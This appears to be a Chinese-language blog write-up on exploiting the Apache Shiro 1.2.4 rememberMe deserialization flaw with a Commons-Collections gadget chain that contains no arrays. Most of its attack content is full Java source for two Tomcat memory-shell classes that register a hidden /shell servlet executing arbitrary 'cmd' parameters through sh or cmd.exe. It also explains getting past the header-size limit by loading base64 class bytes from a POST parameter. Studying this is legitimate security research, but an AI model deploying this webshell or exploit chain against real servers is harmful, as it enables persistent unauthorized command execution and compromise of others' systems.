这里就直接使用1.2.4版本的shiro环境
选择1.2.4版本的源码就行了(不管用git或者直接下载zip包)
直接打开该maven项目
idea自动会对项目依赖进行加载
我们使用其中官方给出的例子进行测试
也即是在samples
文件夹下的samples-web
项目
首先,我们对pom.xml就行修改
添加commons-collections 3.2.1的依赖和添加jstl依赖的版本
<dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
之后就是添加tomcat容器进行部署
启动服务之后为
直接使用dockerhub的镜像就行了
熟悉shiro的人都知道大部分的CC链在shiro下是不能够利用成功的
具体点就是因为在shiro进行反序列化的过程中,在org.apache.shiro.io.DefaultSerializer#deserialize
方法的调用中
这里并不是按照寻常的创建了一个ObjectInputStream
对象,之后调用该对象的readObject
方法进行反序列化利用
而对于ClassResolvingObjectInputStream
这个类对象,我们可以跟进看一下
这个类继承了ObjectInputStream
对象,且重写了其resolveClass
方法
我们来对比看看两者这个方法有些什么不同的地方
在ObjectInputStream#resolveClass
方法中,使用的是Class.forName
的方式获取类,而shiro中重写的方法中使用的是ClassUtils.forName
方法进行获取的,我们可以详细看看
这里是调用了THREAD_CL_ACCESSOR
属性的loadClass
方法进行加载
该属性是一个ExceptionIgnoringAccessor
对象
这里的实际调用的是WebappClassLoaderBase#loadClass
方法(动态调试)
先从cache中找已载入的类,如果前3点都没找到,再通过父类
URLClassLoader
的loadClass
函数载入。但是实际上此时loadClass的参数name值带上了数组的标志,即/Lorg/apache/commons/collections/Transformer;.class
,在参考的第二篇文章里有提到这个问题,所以导致shiro无法载入数组类型的对象。
所以想要在shiro环境下进行利用,只需要找到一个不带有数组的利用方式就行了
有很多,这里就只是以InvokerTransformer + LazyMap + TemplatesImpl
的组合来进行利用
因为我这里的tomcat环境是8.x版本, 我这里是动态创建了一个Servlet来注入内存马
所以我们需要获取到Context
这个上下文对象
获取方式同样有很多,我这里选用了直接从上下文中获取ApplicationContext
对象
// 从线程中获取类加载器WebappClassLoaderBase WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 获取TomcatEmbeddedContext对象 Context context = contextClassLoader.getResources().getContext(); // 从上下文中获取ApplicationContext对象 ApplicationContext servletContext = (ApplicationContext) getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"));
完整的构造
package pers.cc; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.Context; import org.apache.catalina.Wrapper; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import javax.servlet.*; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; import java.lang.reflect.Field; import java.util.Scanner; public class TomcatMemshell2 extends AbstractTranslet implements Servlet{ @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public static Object getField(Object obj, Field field) { try { field.setAccessible(true); return field.get(obj); } catch (Exception e) { } return null; } static { try { // 从线程中获取类加载器WebappClassLoaderBase WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 获取TomcatEmbeddedContext对象 Context context = contextClassLoader.getResources().getContext(); // 从上下文中获取ApplicationContext对象 ApplicationContext servletContext = (ApplicationContext) getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context")); String name = "RoboTerh"; if (servletContext.getServletRegistration(name) == null) { StandardContext o = null; // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象 while (o == null) { Field f = servletContext.getClass().getDeclaredField("context"); f.setAccessible(true); Object object = f.get(servletContext); if (object instanceof StandardContext) { o = (StandardContext) object; } } //自定义servlet Servlet servlet = new TomcatMemshell2(); //用Wrapper封装servlet Wrapper newWrapper = o.createWrapper(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); //向children中添加Wrapper o.addChild(newWrapper); //添加servlet的映射 o.addServletMappingDecoded("/shell", name); } } catch (Exception e) { e.printStackTrace(); } } @Override public void init(ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }
之后使用不带数组的CC链生成序列化数据
启动我们clone下来的项目
之后将AES加密之后得到的base64编码的数据在Cookie字段发送
就这么简单就成功了吗?当然不是,在shiro服务端出现了报错
请求头太大了,不能够进行利用
那么如何绕过这个maxHttpHeaderSize
的限制呢?
在Litch1
中存在有种思路
基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (qq.com)
但是我选用了另一种思路进行注入
Java代码执行漏洞中类动态加载的应用 | l3yx's blog
通过将创建一个自定义的ClassLoader
来对我们的恶意类进行加载
在ClassLoader
中主要的逻辑是获取一个POST传参ClassData
的值,然后调用defineClass
进行类的获取之后调用newInstance
进行实例化触发恶意类的静态代码块或者构造函数中的逻辑
所以,我们需要的是将我们注入内存马的恶意类的字节码进行base64编码之后进行POST传参,使得在shiro进行反序列化调用的时候会获取这个类并实例化,就能够绕过前面maxHttpHeaderSize
的限制
具体的恶意类为:
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package pers.cc; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; import java.lang.reflect.Field; import java.util.ArrayList; import java.util.HashMap; import java.util.Iterator; import java.util.Scanner; import javax.management.MBeanServer; import javax.servlet.Servlet; import javax.servlet.ServletConfig; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import org.apache.catalina.Wrapper; import org.apache.catalina.core.StandardContext; import org.apache.coyote.Request; import org.apache.coyote.RequestInfo; import org.apache.tomcat.util.modeler.Registry; public class TomcatMemshell3 extends AbstractTranslet implements Servlet { public TomcatMemshell3() { } public static Object getField(Object obj, Field field) { try { field.setAccessible(true); return field.get(obj); } catch (Exception var3) { return null; } } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public void init(ServletConfig servletConfig) throws ServletException { } public ServletConfig getServletConfig() { return null; } public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = (new Scanner(in)).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } public String getServletInfo() { return null; } public void destroy() { } static { try { MBeanServer mBeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer(); Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor")); Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository")); HashMap domainTb = (HashMap)getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb")); Object namedObject = ((HashMap)domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor"); Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object")); Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource")); ArrayList processors = (ArrayList)getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors")); Iterator var8 = processors.iterator(); label41: while(true) { ServletContext servletContext; String name; do { Request req; do { if (!var8.hasNext()) { break label41; } Object processor = var8.next(); RequestInfo requestInfo = (RequestInfo)processor; req = (Request)getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req")); } while(req.getParameters().getParameter("cmd") == null); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request)req.getNote(1); servletContext = request.getServletContext(); name = "RoboTerh"; } while(servletContext.getServletRegistration(name) != null); StandardContext o = null; while(o == null) { Field f = servletContext.getClass().getDeclaredField("context"); f.setAccessible(true); Object obj = f.get(servletContext); if (obj instanceof ServletContext) { servletContext = (ServletContext)obj; } else if (obj instanceof StandardContext) { o = (StandardContext)obj; } } Servlet servlet = new TomcatMemshell3(); Wrapper newWrapper = o.createWrapper(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); o.addChild(newWrapper); o.addServletMappingDecoded("/shell", name); } } catch (Exception var18) { var18.printStackTrace(); } } }
这里是动态创建了一个Servlet
之后我们可以进行测试
像这样进行传参
判断是否成功注入
成功创建了一个Servlet